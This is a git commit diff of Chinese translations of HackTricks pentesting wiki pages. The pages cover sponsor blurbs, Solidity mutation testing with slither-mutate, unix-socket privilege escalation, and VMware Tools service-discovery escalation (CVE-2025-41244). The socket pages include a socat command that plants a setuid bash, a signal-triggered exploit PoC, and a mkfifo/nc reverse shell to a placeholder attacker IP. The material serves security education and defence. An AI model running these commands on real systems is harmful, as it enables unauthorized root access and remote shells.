Translated ['', 'src/pentesting-web/file-inclusion/README.md', 'src/welc

This commit is contained in:
Translator 2025-10-01 12:03:23 +00:00
parent e5218690c8
commit 556285ae00
13 changed files with 868 additions and 782 deletions

View File

@ -2,7 +2,7 @@
<figure><img src="images/hacktricks.gif" alt=""><figcaption></figcaption></figure>
_Hacktricks 徽标动效设计由_ [_@ppieranacho_](https://www.instagram.com/ppieranacho/)_._
_Hacktricks 徽标动效设计由_ [_@ppieranacho_](https://www.instagram.com/ppieranacho/)_._
### 在本地运行 HackTricks
```bash
@ -31,7 +31,7 @@ export LANG="master" # Leave master for english
# Run the docker container indicating the path to the hacktricks folder
docker run -d --rm --platform linux/amd64 -p 3337:3000 --name hacktricks -v $(pwd)/hacktricks:/app ghcr.io/hacktricks-wiki/hacktricks-cloud/translator-image bash -c "mkdir -p ~/.ssh && ssh-keyscan -H github.com >> ~/.ssh/known_hosts && cd /app && git config --global --add safe.directory /app && git checkout $LANG && git pull && MDBOOK_PREPROCESSOR__HACKTRICKS__ENV=dev mdbook serve --hostname 0.0.0.0"
```
你的本地 HackTricks 副本将在 <5 分钟后 **可在 [http://localhost:3337](http://localhost:3337) 访问**需要构建书籍请耐心等待)。
Your local copy of HackTricks will be **available at [http://localhost:3337](http://localhost:3337)** after <5 minutes (it needs to build the book, be patient).
## 企业赞助商
@ -39,11 +39,11 @@ docker run -d --rm --platform linux/amd64 -p 3337:3000 --name hacktricks -v $(pw
<figure><img src="images/stm (1).png" alt=""><figcaption></figcaption></figure>
[**STM Cyber**](https://www.stmcyber.com) 是一家优秀的网络安全公司,口号为 **HACK THE UNHACKABLE**。他们开展自己的研究并开发自己的黑客工具,以便 **提供多种有价值的网络安全服务**,例如 pentesting、Red teams 和培训。
[**STM Cyber**](https://www.stmcyber.com) 是一家优秀的网络安全公司,其口号是 **HACK THE UNHACKABLE**。他们进行自主研究并开发自己的 hacking tools **提供多种有价值的网络安全服务**,例如 pentesting、Red teams 和培训。
可以在 [**https://blog.stmcyber.com**](https://blog.stmcyber.com) 查看他们的 **博客**
可以在 [**https://blog.stmcyber.com**](https://blog.stmcyber.com) 查看他们的 **blog**
**STM Cyber** 也支持像 HackTricks 这样的网络安全开源项目 :)
**STM Cyber** 也支持像 HackTricks 这样的开源网络安全项目 :)
---
@ -51,7 +51,7 @@ docker run -d --rm --platform linux/amd64 -p 3337:3000 --name hacktricks -v $(pw
<figure><img src="images/image (45).png" alt=""><figcaption></figcaption></figure>
[**RootedCON**](https://www.rootedcon.com) 是 **西班牙** 最重要的网络安全活动,也是 **欧洲**重要的会议之一。怀着 **推广技术知识的使命**,这个大会是技术与网络安全各领域专业人士的重要汇聚点。
[**RootedCON**](https://www.rootedcon.com) 是 **西班牙** 最重要的网络安全活动,也是 **欧洲**有影响力的会议之一。该大会以 **促进技术知识** 为使命,是各类技术和网络安全专业人士的热烈汇聚点。
{{#ref}}
https://www.rootedcon.com/
@ -63,9 +63,9 @@ https://www.rootedcon.com/
<figure><img src="images/image (47).png" alt=""><figcaption></figcaption></figure>
**Intigriti** 是 **Europe's #1** 的 ethical hacking **bug bounty platform.**
**Intigriti** 是 **Europe's #1** 的 ethical hacking **bug bounty platform.**
**Bug bounty tip****sign up** for **Intigriti**, a premium **bug bounty platform created by hackers, for hackers**! Join us at [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) today, and start earning bounties up to **$100,000**!
**Bug bounty tip****sign up** 加入 **Intigriti**,这是一个由黑客为黑客打造的高级 **bug bounty platform**!现在就访问 [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks),开始赚取高达 **$100,000** 的赏金!
{{#ref}}
https://go.intigriti.com/hacktricks
@ -78,7 +78,7 @@ https://go.intigriti.com/hacktricks
<figure><img src="images/image (48).png" alt=""><figcaption></figcaption></figure>
\
使用 [**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks) 可以轻松构建并 **自动化工作流**,由世界上**最先进**的社区工具驱动
使用 [**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks) 可以轻松构建并 **自动化工作流**,由全球 **最先进** 的社区工具提供支持
立即获取访问权限:
@ -94,11 +94,11 @@ https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktr
加入 [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) 服务器,与经验丰富的黑客和 bug bounty 猎人交流!
- **Hacking Insights:** 参与深入探讨黑客世界刺激与挑战的内容
- **Real-Time Hack News:** 通过实时新闻和洞见及时了解快速变化的黑客世界
- **Latest Announcements:** 获取最新启动的 bug bounty 和重要平台更新
- **Hacking Insights:** Engage with content that delves into the thrill and challenges of hacking
- **Real-Time Hack News:** Keep up-to-date with fast-paced hacking world through real-time news and insights
- **Latest Announcements:** Stay informed with the newest bug bounties launching and crucial platform updates
**Join us on** [**Discord**](https://discord.com/invite/N3FrSbmwdy) 并开始与顶黑客协作!
**Join us on** [**Discord**](https://discord.com/invite/N3FrSbmwdy) 并开始与顶黑客协作!
---
@ -106,9 +106,9 @@ https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktr
<figure><img src="images/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
**从黑客视角审视你的 Web 应用、网络与云**
**Get a hacker's perspective on your web apps, network, and cloud**
**发现并报告具有真实业务影响的关键可利用漏洞。** 使用我们 20+ 的自定义工具绘制攻击面,发现可导致权限升级的安全问题,并使用自动化利用收集关键证据,将你的工作成果转化为有说服力的报告。
**Find and report critical, exploitable vulnerabilities with real business impact.** 使用我们 20+ 的自定义工具来绘制攻击面,发现可导致权限升级的安全问题,并使用 automated exploits 收集必要证据,将你的工作转化为有说服力的报告。
{{#ref}}
https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons
@ -120,14 +120,14 @@ https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktrick
<figure><img src="images/image (1254).png" alt=""><figcaption></figcaption></figure>
**SerpApi** 提供快速且简便的实时 API 以 **访问搜索引擎结果**。他们负责抓取搜索引擎、处理代理、解决验证码,并为你解析所有丰富的结构化数据。
**SerpApi** 提供快速且易用的实时 API 来 **访问搜索引擎结果**。他们负责抓取搜索引擎、处理代理、解决验证码,并为你解析所有丰富的结构化数据。
订阅 SerpApi 的任一计划可访问 50 多种不同的 API用于抓取不同的搜索引擎包括 Google、Bing、Baidu、Yahoo、Yandex 等。\
与其他提供商不同,**SerpApi 不仅抓取自然结果**。SerpApi 的响应始终包含所有广告、内联图片与视频、知识图谱以及搜索结果中存在的其他元素与特性
订阅 SerpApi 的计划可访问超过 50 个不同的 API用于抓取不同的搜索引擎包括 Google、Bing、Baidu、Yahoo、Yandex 等。\
与其他提供商不同,**SerpApi 不只是抓取 organic results**。SerpApi 的响应始终包含所有广告、内联图片和视频、知识图谱以及搜索结果中存在的其他元素和功能
当前 SerpApi 的客户包括 **Apple, Shopify, and GrubHub**。\
欲了解更多信息请查看他们的 [**blog**](https://serpapi.com/blog/)**,** 或在他们的 [**playground**](https://serpapi.com/playground)** 中尝试示例。**\
你可以在 [**here**](https://serpapi.com/users/sign_up)** 创建一个免费帐户**。
当前 SerpApi 的客户包括 **Apple、Shopify 和 GrubHub**。\
更多信息请查看他们的 [**blog**](https://serpapi.com/blog/)**** 或在他们的 [**playground**](https://serpapi.com/playground) 试示例。\
你可以在 [**这里**](https://serpapi.com/users/sign_up)** 创建一个免费账户。**
---
@ -135,7 +135,7 @@ https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktrick
<figure><img src="images/image (2).png" alt=""><figcaption></figcaption></figure>
学习进行漏洞研究、渗透测试和逆向工程以保护移动应用与设备所需的技术与技能。通过我们的点播课程 **掌握 iOS 与 Android 安全****获得认证**
学习进行漏洞研究、penetration testing 和逆向工程以保护移动应用和设备所需的技术与技能。通过我们的按需课程掌握 iOS 与 Android 安全,并 **获取认证**
{{#ref}}
https://academy.8ksec.io/
@ -147,13 +147,13 @@ https://academy.8ksec.io/
<figure><img src="images/websec (1).svg" alt=""><figcaption></figcaption></figure>
[**WebSec**](https://websec.net) 是一家位于 **Amsterdam** 的专业网络安全公司,帮助全球企业应对最新的网络安全威胁,提供带有**现代**方法的 **offensive-security services**
[**WebSec**](https://websec.net) 是一家总部位于 **Amsterdam** 的专业网络安全公司,帮助 **全球** 企业抵御最新的网络安全威胁,提供带有 **现代化** 方法的 **offensive-security services**
WebSec 是一家国际安全公司,在 Amsterdam 和 Wyoming 设有办事处。他们提供 **一体化安全服务**,涵盖渗透测试、**Security** 审计、意识培训、网络钓鱼活动、代码审计、漏洞利用开发、安全专家外包等诸多服务。
WebSec 是一家国际安全公司,在 Amsterdam 和 Wyoming 设有办公室。他们提供 **全方位安全服务**,涵盖 Pentesting、**Security** 审计、意识培训、钓鱼活动、代码审查、Exploit 开发、安全专家外包等诸多服务。
WebSec 的另一大特点是与行业平均水平不同WebSec 对自己的技能 **非常有信心**,以至于他们在网站上承诺“**If we can't hack it, You don't pay it!**”。更多信息请查看他们的 [**website**](https://websec.net/en/) 和 [**blog**](https://websec.net/blog/)
WebSec 的另一大特点是与行业平均水平不同,他们对自己的技能 **非常自信**,以至于在网站上承诺“**If we can't hack it, You don't pay it!**”。想了解更多请访问他们的 [**website**](https://websec.net/en/) 和 [**blog**](https://websec.net/blog/)
除了上述内容外WebSec 也是 HackTricks 的 **坚定支持者**
此外WebSec 也是 HackTricks 的 **坚定支持者。**
{{#ref}}
https://www.youtube.com/watch?v=Zq2JycGDCPM
@ -165,10 +165,10 @@ https://www.youtube.com/watch?v=Zq2JycGDCPM
<figure><img src="images/venacus-logo.svg" alt="venacus logo"><figcaption></figcaption></figure>
[**Venacus**](https://venacus.com/?utm_medium=link&utm_source=hacktricks&utm_campaign=spons) 是一个数据泄露 (leak) 搜索引擎。\
我们提供类似 Google 的随机字符串搜索,覆盖各类大小数据泄露 — 不仅限于大型泄露 — 来自多个来源的数据。\
人名搜索、AI 搜索、组织搜索、API (OpenAPI) 访问、theHarvester 集成,包含所有 pentester 所需的功能。\
**HackTricks 继续为我们所有人提供很棒的学习平台,我们很自豪能赞助它!**
[**Venacus**](https://venacus.com/?utm_medium=link&utm_source=hacktricks&utm_campaign=spons) 是一个 data breach (leak) 搜索引擎。\
我们提供类似 google 的随机字符串搜索,覆盖各种规模的数据 leak —— 不仅限于大型泄露 —— 来源于多个数据源。\
People search、AI search、organization search、API (OpenAPI) 访问、theHarvester integration所有 pentester 需要的功能一应俱全。\
**HackTricks 持续是我们大家的优秀学习平台,我们很自豪能赞助它!**
{{#ref}}
https://venacus.com/?utm_medium=link&utm_source=hacktricks&utm_campaign=spons
@ -182,12 +182,12 @@ https://venacus.com/?utm_medium=link&utm_source=hacktricks&utm_campaign=spons
**Built for the field. Built around you.**\
[**Cyber Helmets**](https://cyberhelmets.com/?ref=hacktricks) 开发并提供由业内专家构建和领导的高效网络安全培训。他们的课程超越理论,使用反映真实世界威胁的定制环境,赋能团队掌握深入的理解与可付诸实践的技能。若需定制培训,请通过 [**here**](https://cyberhelmets.com/tailor-made-training/?ref=hacktricks) 与我们联系。
[**Cyber Helmets**](https://cyberhelmets.com/?ref=hacktricks) 开发并提供由业界专家构建和领导的高效网络安全培训。他们的课程超越理论,通过反映真实世界威胁的定制环境,为团队提供深入理解和可操作技能。若需定制培训,请通过 [**here**](https://cyberhelmets.com/tailor-made-training/?ref=hacktricks) 与我们联系。
**使其培训与众不同的要点:**
* 定制构建的内容与实验室
* 支持顶级工具与平台
* 由实者设计与授课
**他们培训的特点:**
* 定制内容与实验室
* 依托顶级工具与平台
* 由实务从业者设计与授课
{{#ref}}
https://cyberhelmets.com/courses/?ref=hacktricks
@ -199,13 +199,13 @@ https://cyberhelmets.com/courses/?ref=hacktricks
<figure><img src="images/lasttower.png" alt="lasttower logo"><figcaption></figcaption></figure>
Last Tower Solutions 为 **教育** 与 **金融科技 (FinTech)** 机构提供专业化的网络安全服务,重点关注 **渗透测试、云安全评估****合规准备**SOC 2、PCI-DSS、NIST。我们的团队包含 **OSCP 和 CISSP 认证的专业人员**,为每次服务提供深厚的技术专长与行业标准洞见
Last Tower Solutions 为 **教育 (Education)** 和 **金融科技 (FinTech)** 机构提供专门的网络安全服务,重点包括 **penetration testing、cloud security assessments****compliance readiness**(如 SOC 2、PCI-DSS、NIST。我们的团队包括持有 **OSCP 和 CISSP** 认证的专业人员,能为每次项目带来深厚的技术专长和行业视角
我们不仅依赖自动化扫描,还提供 **人工、情报驱动的测试**,为高风险环境量身定制。从保护学生记录到保障金融交易,我们帮助组织守护最重要的资产。
我们超越自动化扫描,提供针对高风险环境的 **手动、情报驱动的测试**。从保护学生记录到保障金融交易,我们帮助组织守护最重要的资产。
_“高质量的防御来源于了解进攻,我们通过理解来提供安全。”_
_“A quality defense requires knowing the offense, we provide security through understanding.”_
想了解更多网络安全的最新动态,请访问我们的 [**blog**](https://www.lasttowersolutions.com/blog)。
通过访问我们的 [**blog**](https://www.lasttowersolutions.com/blog) 保持对最新网络安全动态的了解
{{#ref}}
https://www.lasttowersolutions.com/
@ -215,11 +215,11 @@ https://www.lasttowersolutions.com/
### [K8Studio - The Smarter GUI to Manage Kubernetes.](https://k8studio.io/)
<figure><img src="images/k8studio.png" alt="k8studio logo"><figcaption></figcaption></figure>
<figure><img src="images/k8studio.jpg" alt="k8studio logo"><figcaption></figcaption></figure>
K8Studio IDE 使 DevOps、DevSecOps 和开发人员能够高效地管理、监控和保护 Kubernetes 集群。利用我们的 AI 驱动洞见、先进的安全框架和直观的 CloudMaps GUI 来可视化集群、了解其状态并自信地采取行动。
K8Studio IDE 帮助 DevOps、DevSecOps 和开发者高效地管理、监控和保护 Kubernetes 集群。利用我们的 AI 驱动洞察、高级安全框架和直观的 CloudMaps GUI可视化集群、了解状态并自信地采取行动。
此外K8Studio 与所有主流 kubernetes 发行版兼容AWS, GCP, Azure, DO, Rancher, K3s, Openshift 等)
此外K8Studio 与所有主流 kubernetes 发行版兼容 (AWS, GCP, Azure, DO, Rancher, K3s, Openshift and more)
{{#ref}}
https://k8studio.io/
@ -230,13 +230,13 @@ https://k8studio.io/
## 许可证与免责声明
查看:
查看它们
{{#ref}}
welcome/hacktricks-values-and-faq.md
{{#endref}}
## Github 统计
## Github Stats
![HackTricks Github Stats](https://repobeats.axiom.co/api/embed/68f8746802bcf1c8462e889e6e9302d4384f164b.svg)

View File

@ -950,4 +950,4 @@
- [Stealing Sensitive Information Disclosure from a Web](todo/stealing-sensitive-information-disclosure-from-a-web.md)
- [Post Exploitation](todo/post-exploitation.md)
- [Investment Terms](todo/investment-terms.md)
- [Cookies Policy](todo/cookies-policy.md)
- [Cookies Policy](todo/cookies-policy.md)

View File

@ -1,14 +1,14 @@
# 使用 Slither (slither-mutate) 对 Solidity 进行变异测试
# 用 Slither (slither-mutate) 对 Solidity 进行变异测试
{{#include ../../banners/hacktricks-training.md}}
变异测试通过有系统地在你的 Solidity 代码中引入小的改动mutants并重新运行你的测试套件来“测试你的测试”。如果某个测试失败该 mutant 被杀死。如果测试仍然通过,该 mutant 存活,暴露了测试套件中的盲点,这是行/分支覆盖率无法发现的
变异测试通过在你的 Solidity 代码中系统性地引入小改动(突变体)并重新运行测试套件来“测试你的测试”。如果某个测试失败,该突变体就被消灭;如果测试仍然通过,该突变体就存活,从而暴露出行/分支覆盖率无法检测到的测试盲点
关键思想:覆盖率显示代码被执行;变异测试显示行为是否被实际断言。
关键思想:覆盖率说明代码被执行过;变异测试说明行为是否真正被断言。
## 为什么覆盖率会误导
考虑下面这个简单的阈值检查:
考虑这个简单的阈值检查:
```solidity
function verifyMinimumDeposit(uint256 deposit) public returns (bool) {
if (deposit >= 1 ether) {
@ -18,95 +18,94 @@ return false;
}
}
```
如果单元测试只检查阈值以下和阈值以上的值,可能在未断言相等边界 (==) 的情况下达到 100% 的行/分支覆盖率。将条件重构为 `deposit >= 2 ether` 仍会通过这类测试,从而悄然破坏协议逻辑。
单元测试如果只检查阈值以下和阈值以上的值,可能在行/分支覆盖率上达到 100%,但却没有断言等于边界 (==)。将条件重构为 `deposit >= 2 ether` 仍会通过这样的测试,从而在不发声的情况下破坏协议逻辑。
变异测试通过修改条件并验证测试是否失败来揭示这一漏洞
Mutation testing 通过变异条件并验证你的测试是否失败来暴露这个缺口
## 常见的 Solidity 变异操作符
## Common Solidity mutation operators
Slither 的变异引擎会应用许多小的、改变语义的编辑,例如:
- 运算符替换:`+``-``*``/` 等。
- 赋值替换:`+=``=``-=``=`
- 常量替换:非零 → `0``true``false`
- 在 `if`/循环 内部的条件取反/替换
- 注释整行CR: Comment Replacement
- 用 `revert()` 替换
- 数据类型替换:例如 `int128``int64`
Slither 的变异引擎会应用许多小的、改变语义的修改,例如:
- 运算符替换:`+``-`, `*``/`, 等等
- 赋值替换:`+=``=`, `-=``=`
- 常量替换:non-zero → `0`, `true``false`
- 在 `if`/loops 中对条件取反/替换
- 注释掉整行 (CR: Comment Replacement)
- 用 `revert()` 替换
- 数据类型互换:例如,`int128``int64`
目标:消灭 100% 的生成变异体,或者对幸存者给出明确的理由说明
目标:杀死 100% 的生成突变体,或用明确的理由说明幸存者
## 使用 slither-mutate 运行变异测试
## Running mutation testing with slither-mutate
要求:Slither v0.10.2+。
Requirements: Slither v0.10.2+。
- 列出选项和 mutators
- 列出选项和变异器
```bash
slither-mutate --help
slither-mutate --list-mutators
```
- Foundry 示例(捕获结果并保完整日志):
- Foundry 示例(捕获结果并保完整日志):
```bash
slither-mutate ./src/contracts --test-cmd="forge test" &> >(tee mutation.results)
```
- 如果你不使用 Foundry请将 `--test-cmd` 替换为运行测试的方式(例如,`npx hardhat test``npm test`)。
- 如果你不使用 Foundry请将 `--test-cmd` 替换为你运行测试的方式(例如:`npx hardhat test``npm test`)。
产物和报告默认存储在 `./mutation_campaign`。未被捕获(存活)的变异体会被复制到那里以便检查。
Artifacts and reports are stored in `./mutation_campaign` by default. 未被捕获(存活)的变异体会被复制到该目录以便检查。
### 理解输出
报告行示例
报告行如下
```text
INFO:Slither-Mutate:Mutating contract ContractName
INFO:Slither-Mutate:[CR] Line 123: 'original line' ==> '//original line' --> UNCAUGHT
```
- 方括号中的标签是变异器别名(例如,`CR` = Comment Replacement
- `UNCAUGHT` 表示在被变异的行为下测试通过 → 缺断言。
- `UNCAUGHT` 表示在被变异的行为下测试通过 → 缺断言。
## Reducing runtime: prioritize impactful mutants
## 减少运行时间:优先考虑有影响的变异体
变异测试活动可能需要数小时或数天。降低成本的建议:
- Scope:先只对关键合约/目录进行测试,然后逐步扩大
- Prioritize mutators:如果一行上的高优先级变异体幸存(例如,整行被注释),可以跳过该行的低优先级变体。
- Parallelize tests if your runner allows it;缓存依赖/构建。
- Fail-fast:当某个变更清楚地暴露断言缺口时,尽早停止。
Mutation campaigns can take hours or days. Tips to reduce cost:
- Scope: 仅针对关键合约/目录开始,然后再扩展
- Prioritize mutators: 如果某行上的高优先级变体幸存(例如,整行被注释),则可以跳过该行的低优先级变体。
- Parallelize tests if your runner allows it; cache dependencies/builds.
- Fail-fast: 在修改清晰地暴露断言缺失时尽早终止。
## Triage workflow for surviving mutants
## 幸存变体的分流工作流程
1) Inspect the mutated line and behavior.
- 通过应用被变异的行并运行有针对性的测试在本地复现。
1) 检查被变异的行和行为。
- 通过应用被变异的那一行并运行针对性的测试,在本地重现。
2) Strengthen tests to assert state, not only return values.
- 添加等边界检查(例如,测试阈值 `==`)。
- 断言后置条件:余额、总供应、授权效果以及触发的事件
2) 强化测试以断言状态,而不仅仅是返回值。
- 添加等式/边界检查(例如,测试阈值 `==`)。
- 断言后置条件:balances、total supply、authorization effects以及 emitted events
3) Replace overly permissive mocks with realistic behavior.
- 确保 mocks 强制执行链上会发生的转账、失败路径和事件触发
3) 用真实行为替换过于宽松的 mocks。
- 确保 mocks 强制执行 transfers、failure paths以及链上会发生的 event emissions
4) Add invariants for fuzz tests.
- 例如,价值守恒、非负余额、授权不变量、在适用时单调供应
4) 为 fuzz 测试添加不变量。
- 例如,conservation of value、non-negative balances、authorization invariants以及在适用时的 monotonic supply
5) Re-run slither-mutate until survivors are killed or explicitly justified.
- 重新运行 slither-mutate直到幸存者被消除或有明确理由保留。
5) 重新运行 slither-mutate直到幸存者被消除或有明确理由保留为止。
## Case study: revealing missing state assertions (Arkis protocol)
## 案例研究:揭示缺失的状态断言 (Arkis protocol)
在对 Arkis DeFi 协议进行审计的变异测试活动中出现了如下幸存变异体
在对 Arkis DeFi protocol 的审计期间进行的一次变异测试活动暴露出了如下幸存者
```text
INFO:Slither-Mutate:[CR] Line 33: 'cmdsToExecute.last().value = _cmd.value' ==> '//cmdsToExecute.last().value = _cmd.value' --> UNCAUGHT
```
注释掉赋值并未使测试失败,证明缺少事后状态断言。根本原因:代码信任了由用户控制的 `_cmd.value`,而没有验证实际的 token 转移。攻击者可以使预期转移与实际转移不同步,从而抽取资金。结果:对协议偿付能力构成高严重性风险。
注释掉赋值并未导致测试失败,证明缺少后置状态断言。根本原因:代码信任了用户可控的 `_cmd.value`,而没有验证实际的代币转移。攻击者可以使预期转移与实际转移不同步,从而抽干资金。结果:对协议偿付能力构成高严重性风险。
建议:对影响价值转移、账务或访问控制的幸存变异体,在被消灭之前一律视为高风险
Guidance: 将影响价值转移、会计或访问控制的存活变异体视为高风险,直到其被消灭
## 实操检查清单
## Practical checklist
- 运行定向活动
- 运行有针对性的变异测试
- `slither-mutate ./src/contracts --test-cmd="forge test"`
- 对幸存变异体进行分类并编写在变异行为下会失败的测试/不变量。
- 断言余额、供应、授权和事件。
- 添加边界测试 (`==`, overflows/underflows, zero-address, zero-amount, empty arrays).
- 筛查存活的变异体,并编写在变异行为下会失败的测试/不变量。
- 断言余额、供应、授权和事件。
- 添加边界测试`==`、溢出/下溢、零地址、零数额、空数组)。
- 替换不现实的 mocks模拟失败模式。
- 迭代直到所有变异体被消灭,或以注释和理由解释清楚
- 重复迭代,直到所有变异体被消灭或通过注释与理由得到证明
## References

File diff suppressed because it is too large Load Diff

View File

@ -2,9 +2,9 @@
{{#include ../../banners/hacktricks-training.md}}
## Socket binding example with Python
## Socket binding 示例Python
在下面的示例中,会创建一个 **unix socket** (`/tmp/socket_test.s`)接收到的所有内容都会被 `os.system` **执行**。我知道你在现实中可能找不到这样的例子,但这个示例的目的是让你看到使用 unix sockets 的代码长什么样,并在最坏的情况下如何处理输入。
在下面的示例中,会创建一个 **unix socket** (`/tmp/socket_test.s`)并且所有被 **接收** 的内容都会被 `os.system` **执行**。我知道你在现实中不会遇到这种情况,但这个示例的目的是展示使用 unix sockets 的代码是什么样子,以及在最糟糕的情况下如何处理输入。
```python:s.py
import socket
import os, os.path
@ -26,26 +26,26 @@ print(datagram)
os.system(datagram)
conn.close()
```
**执行** 使用 python 运行代码: `python s.py`**检查 socket 的监听状态**:
**执行** 使用 python 运行代码: `python s.py`**检查 socket 的监听情况**:
```python
netstat -a -p --unix | grep "socket_test"
(Not all processes could be identified, non-owned process info
will not be shown, you would have to be root to see it all.)
unix 2 [ ACC ] STREAM LISTENING 901181 132748/python /tmp/socket_test.s
```
**Exploit**
**漏洞利用**
```python
echo "cp /bin/bash /tmp/bash; chmod +s /tmp/bash; chmod +x /tmp/bash;" | socat - UNIX-CLIENT:/tmp/socket_test.s
```
## Case study: Root-owned UNIX socket signal-triggered escalation (LG webOS)
## 案例研究root 所有的 UNIX socket 基于信号触发的提权 (LG webOS)
一些特权 daemon 会暴露一个 root-owned UNIX socket该 socket 接受不受信任的输入,并将特权操作与 thread-IDs 和 signals 关联。如果协议允许 unprivileged client 影响哪个 native thread 成为目标,你可能能够触发特权代码路径并实现提权。
一些具有特权的 daemons 会暴露一个 root 所有的 UNIX socket接受不可信的输入并将特权操作与 thread-IDs 和 signals 绑定。如果该协议允许非特权客户端影响被定位的 native thread你可能能够触发一个特权代码路径并提权。
Observed pattern:
- 连接到一个 root-owned socket例如 /tmp/remotelogger
- 创建一个 thread 并获取其 native thread id (TID)。
- 将 TIDpacked加上 padding 作为请求发送;接收 acknowledgement。
- 向该 TID 发送特定的 signal 以触发特权 behaviour。
- Connect to a root-owned socket (e.g., /tmp/remotelogger).
- Create a thread and obtain its native thread id (TID).
- Send the TID (packed) plus padding as a request; receive an acknowledgement.
- Deliver a specific signal to that TID to trigger the privileged behaviour.
Minimal PoC sketch:
```python
@ -59,16 +59,16 @@ s.sendall(struct.pack('<L', tid) + b'A'*0x80)
s.recv(4) # sync
os.kill(tid, 4) # deliver SIGILL (example from the case)
```
要将其为 root shell可以使用一个简单的 named-pipe + nc 模式:
要将其为 root shell可以使用一个简单的 named-pipe + nc 模式:
```bash
rm -f /tmp/f; mkfifo /tmp/f
cat /tmp/f | /bin/sh -i 2>&1 | nc <ATTACKER-IP> 23231 > /tmp/f
```
说明
- 这类漏洞源于信任从非特权客户端状态派生的值TIDs并将其绑定到特权的信号处理程序或逻辑上。
- 通过在 socket 上强制验证凭据、校验消息格式,并将特权操作与外部提供的线程标识符分离来加固。
说明:
- 这类漏洞产生于信任来自非特权客户端状态TIDs的值并将这些值绑定到特权的 signal handlers 或逻辑上。
- 通过在 socket 上强制验证 credentials、校验 message formats并将特权操作与外部提供的 thread identifiers 解耦来加固。
## References
## 参考资料
- [LG WebOS TV Path Traversal, Authentication Bypass and Full Device Takeover (SSD Disclosure)](https://ssd-disclosure.com/lg-webos-tv-path-traversal-authentication-bypass-and-full-device-takeover/)

View File

@ -2,22 +2,22 @@
{{#include ../../banners/hacktricks-training.md}}
本技术滥用基于正则的 service discovery 管道,这些管道解析正在运行的进程命令行以推断服务版本,然后使用 "version" 标志执行候选二进制。当宽松的模式接受不受信任、由攻击者控制的路径(例如 /tmp/httpd具有特权的采集程序会从该不受信任的位置执行任意二进制从而导致本地权限提升。NVISO 在 VMware Tools/Aria Operations Service Discovery 中记录了这项问题,标识为 CVE-2025-41244。
该技术滥用基于 regex 的 service discovery 管道,这些管道解析正在运行的进程命令行以推断服务版本,然后使用“version”标志执行候选二进制文件。当宽松的模式接受不受信任、攻击者可控的路径例如 /tmp/httpd具有特权的 collector 会从不受信任的位置执行任意二进制文件导致本地权限提升。NVISO 在 VMware Tools/Aria Operations Service Discovery 中将此问题记录为 CVE-2025-41244。
- Impact: Local privilege escalation to root (or to the privileged discovery account)
- Root cause: Untrusted Search Path (CWE-426) + permissive regex matching of process command lines
- Affected: open-vm-tools/VMware Tools on Linux (credential-less discovery), VMware Aria Operations SDMP (credential-based discovery via Tools/proxy)
- 影响:本地权限提升至 root或提升到具有特权的 discovery 账户)
- 根本原因Untrusted Search Path (CWE-426) + 对进程命令行的宽松 regex 匹配
- 受影响open-vm-tools/VMware Tools 在 Linux 上credential-less discoveryVMware Aria Operations SDMP通过 Tools/proxy 的 credential-based discovery
## How VMware service discovery works (high level)
- Credential-based (legacy): Aria executes discovery scripts inside the guest via VMware Tools using configured privileged credentials.
- Credential-less (modern): Discovery logic runs within VMware Tools, already privileged in the guest.
- Credential-based (legacy)Aria 使用配置的特权凭证通过 VMware Tools 在 guest 内执行 discovery 脚本。
- Credential-less (modern)Discovery 逻辑运行在 VMware Tools 中,已在 guest 中具有特权。
Both modes ultimately run shell logic that scans processes with listening sockets, extracts a matching command path via a regex, and executes the first argv token with a version flag.
两种模式最终都会运行 shell 逻辑:扫描具有监听 sockets 的进程,通过 regex 提取匹配的命令路径,并以 version flag 执行第一个 argv token。
## Root cause and vulnerable pattern (open-vm-tools)
In open-vm-tools, the serviceDiscovery plugin script get-versions.sh matches candidate binaries using broad regular expressions and executes the first token without any trusted-path validation:
在 open-vm-tools 中serviceDiscovery 插件脚本 get-versions.sh 使用宽泛的正则表达式匹配候选二进制文件,并在没有任何受信任路径验证的情况下执行第一个 token
```bash
get_version() {
PATTERN=$1
@ -29,7 +29,7 @@ COMMAND=$(get_command_line $p | grep -Eo "$PATTERN")
done
}
```
它以包含 \S (non-whitespace) 的宽松模式被调用,这些模式会轻易匹配位于用户可写位置的非系统路径:
它以包含 \S(非空白)的宽松模式调用,这会轻易匹配用户可写位置中的非系统路径:
```bash
get_version "/\S+/(httpd-prefork|httpd|httpd2-prefork)($|\s)" -v
get_version "/usr/(bin|sbin)/apache\S*" -v
@ -38,21 +38,21 @@ get_version "\.?/\S*nginx($|\s)" -v
get_version "/\S+/srm/bin/vmware-dr($|\s)" --version
get_version "/\S+/dataserver($|\s)" -v
```
- 提取使用 grep -Eo 并取第一个标记:${COMMAND%%[[:space:]]*}
- 没有受信任系统路径的白名单/允许列表;任何具有匹配名称的已发现监听器都会以 -v/--version 被执行
- Extraction uses grep -Eo and takes the first token: ${COMMAND%%[[:space:]]*}
- 没有受信任系统路径的白名单/允许列表;任何具有匹配名称的被发现的 listener 都会以 -v/--version 被执行
This creates an untrusted search path execution primitive: arbitrary binaries located in world-writable directories (e.g., /tmp/httpd) get executed by a privileged component.
## 利用(包括无凭证和基于凭证的模式)
## 利用(无凭证与有凭证模式)
先决条件
- 你可以在客户机上运行一个非特权进程,该进程打开一个监听套接字。
- 发现任务已启用并定期运行(历史上约每 5 分钟)。
前提条件
- 你可以在 guest 上运行一个非特权进程并打开一个监听套接字。
- discovery job 已启用并周期性运行(历史上约为 ~5 分钟)。
步骤
1) 将二进制文件放置到匹配某个宽松正则 (permissive regexes) 的路径中,例如 /tmp/httpd 或 ./nginx
2) 以低权限用户运行它,并确保它打开了某个监听套接字
3) 等待发现周期;特权收集器会自动执行:/tmp/httpd -v或类似以 root 身份运行你的程序
1) 将二进制文件放置在匹配其中一个宽松正则表达式的路径中,例如 /tmp/httpd 或 ./nginx
